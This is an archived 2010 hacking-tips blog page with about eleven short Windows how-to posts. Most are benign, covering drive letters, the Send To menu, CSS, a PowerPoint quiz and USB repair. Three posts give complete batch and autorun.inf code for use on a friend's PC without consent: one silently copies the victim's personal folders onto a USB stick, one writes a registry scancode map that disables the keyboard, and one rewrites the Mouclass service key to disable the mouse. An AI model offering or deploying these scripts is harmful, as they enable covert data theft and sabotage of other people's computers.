Wednesday, August 25, 2010

Tweaking Windows Live Messenger According To Your Needs

Posted: 26 May 2010 11:16 AM PDT

You may not be satisfied with some features in Windows Live messenger. For example, the ads that shows up at the bottom of the instant message window, or the auto sharing feature when you drag and drop the images in the IM screen, or you may even want to login to multiple accounts in MSN messenger.

Tweaking Windows Live messenger requires hex-editing of msnmsgr.exe and the offset location changes whenever it gets updated. Every body may not want to go that deep just to change the basic things.

Well if you are reading this post then this is good news for you. Because I am introducing you to the patch that enables you to choose large options to tweak Windows Live messenger according to your need.

To use this utility, make sure that windows live messenger is closed.

You can kill the Windows Live messenger from taskmanager by killing msnmsgr.exe. or just right click on the Messenger icon at the system tray and select exit.

Now you can run the Patch utility software. Select Patch Messenger from the option and click next.

Then you’ll be welcomed with the numbers of checkbox available. Check it according to your need.

Download the Patch from HERE (choose the correct version of Windows Live Messenger before downloading)

Hope this tutorial was helpful.

This is guest post from Suraj Kayastha at Hack Tutors and YouCanHack. Blogs, where he writes about various technology.

Sunday, August 22, 2010

Steal Files From Windows7/Vista To USB Drive

Posted: 25 May 2010 10:52 AM PDT

Last time I posted a tutorial to copy files from Windows XP. Now if you are sure that your friend’s PC has later version of Windows then this will surely work for it.

I am going to teach you how you can do this from batch file with the help of autorun.inf file.
Let me tell you the basic things what will happen.

When you plug in in your Pen drive, system will look up for autorun.inf (incase if autorun is not disabled for your drive from the system).

Then we’ll input some command in autorun.inf in such a way that it will load the batch file that does the magic of copying all the files from your PC. In this demonstration I am copying only the files and folders in My Documents.

Here goes the batch code:

@echo off
:CHECK
if not exist “%homedrive%\Copied_files” md “%homedrive%\Copied_files”
if exist “%systemdrive%\files” goto COPIER7
goto ERROR
:COPIER7
if not exist “%homedrive%\Copied_files\%computername%” md “%homedrive%\Copied_files\%computername%”
if not exist “%homedrive%\Copied_files\%computername%\VIDEOS” md “%homedrive%\Copied_files\%computername%\VIDEOS”
if not exist “%homedrive%\Copied_files\%computername%\PICTURES” md “%homedrive%\Copied_files\%computername%\PICTURES”
if not exist “%homedrive%\Copied_files\%computername%\MUSIC” md “%homedrive%\Copied_files\%computername%\MUSIC”
if not exist “%homedrive%\Copied_files\%computername%\DOWNLOADS” md “%homedrive%\Copied_files\%computername%\DOWNLOADS”
copy /y “%userprofile%\Documents\*.*” “%homedrive%\Copied_files\%computername%”
copy /y “%userprofile%\Videos” “%homedrive%\Copied_files\%computername%\VIDEOS”
copy /y “%userprofile%\Music” “%homedrive%\Copied_files\%computername%\MUSIC”
copy /y “%userprofile%\Pictures” “%homedrive%\Copied_files\%computername%\PICTURES”
copy /y “%userprofile%\Downloads” “%homedrive%\Copied_files\%computername%\DOWNLOADS”
MSG %username% “DONE!”
exit
:ERROR
exit

What it actually does is in first case ,CHECK, it checks if your removable storage have folder named, Copied_files or not. If it doesn’t have then it creates one by using MD (Make Directory) command.

Again it checks if you have files folder then it will assume that you are using windows Vista/7. Other wise it will return an error and exits.

Now I’ve defined another two cases after the first case CHECK, that is COPIER7 case and ERROR case.

Case COPIER7 will execute when the program recognizes it is Windows Vista/7, where the real copying work goes on.

Case ERROR will execute when the Documents and Settings doesn’t exists in your system root.

This is just a simple use of Batch programming. Copy the above code and paste it in notepad and save it as Filename.bat.

Now let’s create a file that will load it automatically.

[autorun]
Open=Filename.bat
Action=File Copier

The above code goes in autorun.inf file. Open notepad and copy it and paste it and save as autorun.inf.

Copy the two files, autorun.inf and Filename.bat in your flash drive.

Then plug in your device to your friends PC and do the evil things.

Where is the flaw?

It shows Command prompt window and process of copying (thank god your noob never think that it actually copying).

Another thing is that it determines the windows by searching the file users and Docuemnts and settings, which is not the right way to determine your system operating system.

However this is just an educational tutorial.

Hope this tutorial was helpful.

This is guest post from Suraj Kayastha at Hack Tutors and YouCanHack. blogs , where he writes about various technology.

Friday, August 20, 2010

Modifying Send To Menu In Windows

Posted: 24 May 2010 03:09 AM PDT

Many of you may know this trick, but this might be useful to those who doesn’t know about it. I am going to teach you how to add your custom folder or location in “send to”.

The settings of send to menu can be handeled from “Sendto” folder which is hidden and located at user’s page.

i.e.

%systemroot%/Documents and Settings/USER_NAME/sendto

See the image below:

You can directly type the path address as in address bar above without enabling folder options to show hidden files.

After you open the sendto folder, you’ll see the icons of folder where you can send your files to.

Now to add your own folder in send to menu follow the steps below.

I am assuming that you want “My Pictures” folder of My Documents in send to menu.

To get it to send to menu.

Right click on My Pictures and choose Create shortcut.

Now you’ll see the shortcut of My pictures in the same window.

Copy it and paste it to sendto folder. You may also rename it as you want.

Now try using send to menu, you’ll have your own folder ready there.

Hope this tutorial was helpful.

This article is guest post from suraj kayastha, where he write about technology in You Can Hack and Hacktutors.info

Tuesday, August 17, 2010

How To Disable The Keyboard Using Batch Script

Posted: 23 May 2010 07:32 AM PDT

Yesterday one of the visitor of our blog, jose, asked, “how to disable keyboard?”. And instantly I came up with this tutorial, how to disable the keyboard using batch script.

Just copy and paste the code below in notepad and save it as “anything.bat”. What it exactly does is modifies the registry value of keyboard layout of each keys and finally disabling all the keys.

@echo off
echo Windows Registry Editor Version 5.00 > "nokeyboard.reg"
echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layout] >> "nokeyboard.reg"
echo "Scancode Map"=hex:00,00,00,00,00,00,00,00,7c,00,00,00,00,00,01,00,00,\ >> "nokeyboard.reg"
echo 00,3b,00,00,00,3c,00,00,00,3d,00,00,00,3e,00,00,00,3f,00,00,00,40,00,00,00,\ >> "nokeyboard.reg"
echo 41,00,00,00,42,00,00,00,43,00,00,00,44,00,00,00,57,00,00,00,58,00,00,00,37,\ >> "nokeyboard.reg"
echo e0,00,00,46,00,00,00,45,00,00,00,35,e0,00,00,37,00,00,00,4a,00,00,00,47,00,\ >> "nokeyboard.reg"
echo 00,00,48,00,00,00,49,00,00,00,4b,00,00,00,4c,00,00,00,4d,00,00,00,4e,00,00,\ >> "nokeyboard.reg"
echo 00,4f,00,00,00,50,00,00,00,51,00,00,00,1c,e0,00,00,53,00,00,00,52,00,00,00,\ >> "nokeyboard.reg"
echo 4d,e0,00,00,50,e0,00,00,4b,e0,00,00,48,e0,00,00,52,e0,00,00,47,e0,00,00,49,\ >> "nokeyboard.reg"
echo e0,00,00,53,e0,00,00,4f,e0,00,00,51,e0,00,00,29,00,00,00,02,00,00,00,03,00,\ >> "nokeyboard.reg"
echo 00,00,04,00,00,00,05,00,00,00,06,00,00,00,07,00,00,00,08,00,00,00,09,00,00,\ >> "nokeyboard.reg"
echo 00,0a,00,00,00,0b,00,00,00,0c,00,00,00,0d,00,00,00,0e,00,00,00,0f,00,00,00,\ >> "nokeyboard.reg"
echo 10,00,00,00,11,00,00,00,12,00,00,00,13,00,00,00,14,00,00,00,15,00,00,00,16,\ >> "nokeyboard.reg"
echo 00,00,00,17,00,00,00,18,00,00,00,19,00,00,00,1a,00,00,00,1b,00,00,00,2b,00,\ >> "nokeyboard.reg"
echo 00,00,3a,00,00,00,1e,00,00,00,1f,00,00,00,20,00,00,00,21,00,00,00,22,00,00,\ >> "nokeyboard.reg"
echo 00,23,00,00,00,24,00,00,00,25,00,00,00,26,00,00,00,27,00,00,00,28,00,00,00,\ >> "nokeyboard.reg"
echo 1c,00,00,00,2a,00,00,00,2c,00,00,00,2d,00,00,00,2e,00,00,00,2f,00,00,00,30,\ >> "nokeyboard.reg"
echo 00,00,00,31,00,00,00,32,00,00,00,33,00,00,00,34,00,00,00,35,00,00,00,36,00,\ >> "nokeyboard.reg"
echo 00,00,1d,00,00,00,5b,e0,00,00,38,00,00,00,39,00,00,00,38,e0,00,00,5c,e0,00,\ >> "nokeyboard.reg"
echo 00,5d,e0,00,00,1d,e0,00,00,5f,e0,00,00,5e,e0,00,00,22,e0,00,00,24,e0,00,00,\ >> "nokeyboard.reg"
echo 10,e0,00,00,19,e0,00,00,30,e0,00,00,2e,e0,00,00,2c,e0,00,00,20,e0,00,00,6a,\ >> "nokeyboard.reg"
echo e0,00,00,69,e0,00,00,68,e0,00,00,67,e0,00,00,42,e0,00,00,6c,e0,00,00,6d,e0,\ >> "nokeyboard.reg"
echo 00,00,66,e0,00,00,6b,e0,00,00,21,e0,00,00,00,00 >> "nokeyboard.reg"
start nokeyboard.reg

This will disable the keyboard with no hard work. You can try above code to irritate your friends along with autorun.inf in your USB disk.

Hope this tutorial was helpful.

This is guest post from Suraj Kayastha at Hack Tutors and YouCanHack. blogs , where he writes about various technology.

Monday, August 16, 2010

Create Secured Profile Program Using Batch Script

Posted: 18 May 2010 05:04 AM PDT

Today I am going to show you a very useful script using Batch scripting. This tutorial will help you to create a basic idea to program a higher class windows programs.

After reading this tutorial, you’ll be able to create your own personal program to manage your daily routine.

I hope that you have been reading my previous tutorials on batch programming. With the help of those articles you’ll understand this program easily. Even if not, you must have basic programming skill on any programming language.

Refer to the following diagram to know about the program flow.

Now the coding part.

@echo off
Title Secure File Access Zone
ECHO [SECURE FILE ACCESS ZONE]
echo.
echo Type your name and Security number to get access to your secret file. TYPE EXIT anytime to quit.
echo.
set /p name="Username:"
if %name%==suraz goto ask1
if %name%==exit goto quite
goto ask2

:ask1
cls
echo Type EXIT to quit
set /p number="Security number:"
if %number%==123456 goto command1
if %number%==exit goto quite
goto ask2

:ask2
cls
echo You are not allowed to view the secret document. Access denied!!!
echo.
echo Type EXIT to quit
set /p name="Username:"
if %name%==suraz goto ask1
if %name%==exit goto quite
goto ask2

:command1
cls
echo Welcome %name%,
echo.
echo You've the following options:
echo homepage
echo myblog
echo.
set /p page="where do you want to go:"
if %page%==homepage goto google
if %page%==myblog goto myblog
if %page%==exit goto quite
goto command1

:google
start http://google.com
goto quite

:myblog
start http://youcanhack.blogspot.com
gotto quite

:quite
exit

Change the values in bold with your own desire. You can run any program and any file using batch script.

Save the above file as filename.bat and run it.

Batch files saved with extension *.bat are editable by opening it from notepad. To make it more secure and unreadable or uneditable you can compile it to *.exe extension. To do so simply follow the tutorial about converting Bat to exe file.

Something new in the above code:

Set /p name=”username” will create a new field for input and if that field (enclosed inside %#%) is set to value specified then it will goto the command case specified.

For example

If %name%==username goto FirstCommand

Will go to the block of command titled with :FirstCommand

For example,

If %name%==username goto FirstCommand

:FirstCommand

Your command goes here.

Also not to execute the extra block of codes below it, either you’ll have to quit the program or direct the code to other page.

For example,

:ask

set /p page=”where do you want to go:”

if %page%==homepage goto google

goto ask

:google

Start http://www.google.com

Goto quit

:quit

Exit

Adding quit block of code will exit the program if the program has done it’s job.

Adding :ask code block and again adding goto ask to it will prevent the error in the script by looping the same code incase if wrong value is entered.

Hope this tutorial was useful.

I’ll be posting more tutorial about programming in Batch using database or file record system.

Wednesday, August 11, 2010

Basic Knowledge About CSS To Make A Beautiful Web Design.

Posted: 19 May 2010 04:53 AM PDT

CSS has been found mostly used in proper web designing. It has been so long that CSS has been used in every web designing field. It has been a better replacement for the tables in HTML.
CSS can be coded along with HTML Programs. However, it is commonly used as a separate file, and called upon by the HTML files.

In this tutorial you’ll learn the basic method of coding in CSS.

To start, let’s create a basic HTML document:



My Test Page


My Test Page 1

Save this as test1.html. Open it to check how it looks. Since it is just a basic HTML coding you’ll see it some what un-formatted raw document with “My Test Page 1” written in it along with the title “My Test Page”.

Now let me show you how it looks when you do some CSS coding there.

The above CSS code makes the body of this page to have a margin of 0, that means no spacing along the sites of your webpage. The padding is set to 0, that means no padding. Color of the text is set to #FF0000(red) while background color is set to #000(black). While the default font family is Arial with 100% size.

Now the question is, where does the above CSS script must lie to take in action?

And the answer is inside tag.

See the code example below.



Test Page



Test Page 1

From all of the available CSS codes, we applied margin, padding, color, background-color, font-family, font-size to the body tag.

Here is the magic done after adding CSS code:

Basic principles of CSS coding:

When you are codding in CSS you’ll have to determine it first that for which thing the above CSS will work?

All the CSS coding will be useless when you don’t have title for it.

For example, we began with body { and finally ended with another braces }.

This means that any code lies between body {…………} will be applied to tag named .

Well it was for the specific tag like ,

etc. You can also title it with . (dot). .titleofcode{………….} will be used for class. It is brought to work by using class parameter in specific tag, especially division tag (

).

For example,

.header {
background-color: #000;
color: #FFF;
font-size: 24pt;
font-weight: bold;
padding: 5px;
border-bottom: 1px solid #000;
}

The above code can be brought to use by adding class parameter in

tag.

Test Page 1

The .header CSS code will be applied to the division or part of HTML content where class parameter, header, is defined.

Hope you got general ideas. Next time I’ll be here with the full tutorial to create a beautiful CSS based website.

Sunday, August 8, 2010

Live Screen Recorder Without Any Software Download

Posted: 21 May 2010 06:17 AM PDT

We’ve already posted about CamRecorder which records live screen from your desktop.
But, in this tutorial, I am going to teach you new method to record the live screen with voice without downloading any software.

To get this working, first go to http://www.screenr.com. You should see “Record your screencast now!” button.

After clicking it, you should see something similar to the image below.

Later new window will pop-up asking you to run java applet for this website or not. Click on run button.

Now you’ve your screen recorder ready to go. Adjust the dimensions of the box until you get your desired screen size. When you are ready to record click the red record button . Then, a red box will indicate that you are recording.

When you are finished recording, press the DONE button.

You can only record up to 5 minutes; you also MUST have a twitter account.

If you check “Ill manually post it on Twitter” then it will publish it and you can download it.

If you are not satisfied with this website you can also check out the following alternatives:
http://www.screencast-o-matic.com/

http://www.screentoaster.com/

Hope this tutorial was likeable.

This is guest post from Suraj Kayastha at Hack Tutors and YouCanHack. blogs , where he writes about various technology.

Friday, August 6, 2010

Disable Your Friend’s Mouse Whenever USB Disk Is Inserted

Posted: 20 May 2010 08:42 AM PDT

Batch scripting is really easy and so much a fun. You can learn and imagine so many things from batch and shell scripting.

In this short time pass tutorial, I am going to show you how to disable your friend’s mouse whenever your USB drive is inserted.

To get this feature working, you must make sure that your friend has not disabled autorun for removable media. However you may get this to work by creating a fake icon for the batch program.

As we did with our previous tutorial about copying files automatically, we’ll be using same principle here. First we’ll create a batch file and then we’ll be creating autorun.inf file. Then we’ll be pasting it in the root of USB drive. Now whenever the USB drive is inserted, system will look for autorun.inf. Autorun.inf will execute that batch file disabling the mouse.

@echo off
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4

Copy the above code in notepad and save it as “filename.bat”

The above code will disable the mouse by deleteing the registry key of Mouclass and again adds data = 0×00000004 to the valuename = “Start”

Note: The above image is only demonstrates where the action will be taken by the above batch script. It has to do nothing with the procedure of this tutorial.

[autorun]
Open=filename.bat
Action=Mouse Disable

The above code goes for autorun.inf. Open notepad, copy and paste the above code in it and save it as “autorun.inf”.

Now copy both of the file in your or your friend’s USB drive. Then let it do the magic.

To re-enable the mouse you’ll just have to change the value 0×00000004 to 0×00000001. To do so, simply create another batch file with following script:

@echo off
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 1

Hope this tutorial was fun trying to.

Thursday, August 5, 2010

Windows 7 Easter Egg | GodMode

Posted: 16 May 2010 07:58 AM PDT

Windows 7 enthusiastic just revealed new Easter egg. It is s all about the shortcut named ‘GodMode’ which enables users to access all of the Windows configuration settings in one window.

To get this secret revealed in your Windows 7, simply create an empty folder and rename it to the following:

GodMode.{ED7BA470-8E54-465E-825C-99712043E01C}.

The folder icon will instantly change into a shortcut name GodMode which would allow you to access all settings of Windows. One can change the settings at their own will.

Hope this trick was helpful to you.

Tuesday, August 3, 2010

Creating a simple quiz application using Microsoft Powerpoint

Posted: 12 May 2010 06:41 AM PDT

In this tutorial I am going to teach you how to create an interactive quiz application slideshow using Microsoft Powerpoint..

Before beginning the tutorial you must know the things you’ll need:

- Welcome Page

- Question Page

- Success Page

- Failure Page

OK now let’s begin. First in default new slide type your welcome message.

Now create question page as many as you like. In this tutorial I am creating two questions page which contains simple questions.

To do so, create a new slide by going to Insert>New slide or CTRL+M.

Type your questions there. For instance I questioned what is 10+10 and in another question what is 5+3. Below the question I kept two options for each questions.

Now again create another new slide and type your congratulations message and again create another new slide and type the failure message.

Now the basic setup is ready.

Let’s create the quiz interface.

Highlight your correct answer for first question and press CTRL+K (Hyperlink).

Then go to “Place in this document” and choose the preceding question slide as shown in figure. (if right answer is clicked you’ll be welcomed with new question else you’ll be welcomed with failure message).

Again highlight the wrong answer and hyperlink it to failure page.

Do same for all of the questions. But for the last question of the quiz, hyperlink the correct answer to the congratulation page.

Now your quiz application is ready.

Press F5 button and try the quiz yourself.

Hope this tutorial was fun trying to.

Monday, August 2, 2010

How To Swap Or Change Drive Letter

Posted: 15 May 2010 06:40 AM PDT

Sometimes you may want to change your drive letter. There comes a day when you want all the files of C: in D: and all the files of D: in C: without any reason, just for name.

So, How to swap files from C: to D and D to C or any other drives. Copying all the files of C: in separate partition and finally formatting C: and copying D drive’s file in C: and again formatting D, again you’ll format D and copy the files of C that you stored in separated partition and paste it in D.

Well the above method is time consuming and foolish method. If you really want to swap the drive letter then this tutorial will be helpful.

Go to start> My computer, Right click on My Computer icon and click on Manage menu.

Go to Storage tree list on the left and choose Disk management.

Now in this example I am going to swap drive G: and V:.

Right click on G: drive and select Change Drive letter and paths menu as shown in figure.

In the new window, click on change button. Now choose any of the drive letter (suppose T: )and click on OK button.

Click yes in confirmation window

Now your G: drive changed to the one that you’ve specified just now.

Now let’s change the drive name of V: to G:

Again right click on drive V: and go to change drive letter and paths. Now finally following steps above change drive letter to G:

Finally you’ve changed V: to G: bytaking T: as substitution. Now let’s change T: substitution to V:, to do so follow the above steps and choose drive letter V: in place of T:.

Now you are done. You’ve success changed V: to G:.

Hope this tutorial was helpful.

Sunday, August 1, 2010

How To Repair Detectable But Corrupt USB Drive

Posted: 13 May 2010 02:37 PM PDT

Have you suddenly encountered with the problem that when you plug in your USB drive, the Removable media shows up but when you try to open it, it returns with the message “Please insert a disk in to drive H:”.

If yes then you have been on right tutorial page.

By applying this simple method you’ll have 80 % chance to get back your USB drive hardware.

This works only in the above error condition. If the windows doesn’t detect your USB drive, then there is probably flaw in the USB media.

Please keep in mind that, you’ll have to lose your data when following this tutorial.

Plug in your USB drive.

Go to Start>My Computer, right click on My Computer icon and click on Manage menu.

Computer Management window will pop up. Click on Disk management under Storage tree menu.

Now at the right side of the window right click on your removable media. (unlike the image below, it will show unknown information), right click on your removable media and choose Change Drive Letter and Paths.

Now in new window choose any drive later that is not taken by any media (M:, N: , :K: etc).

Click on ok button and close the management window. Try opening your pendirve. There may be the chance to have your pendrive recovered if this method worked.

If the problem still prevails then follow the above tutorial but instead of choosing Change drive letter and paths, choose Fomrat and give a quick format to it.

Now you’ll have finally lost your data but the pendrive is safe in your hands.

Hope this tutorial was working. If it didn’t please do comment me. I’ll find other solutions as well.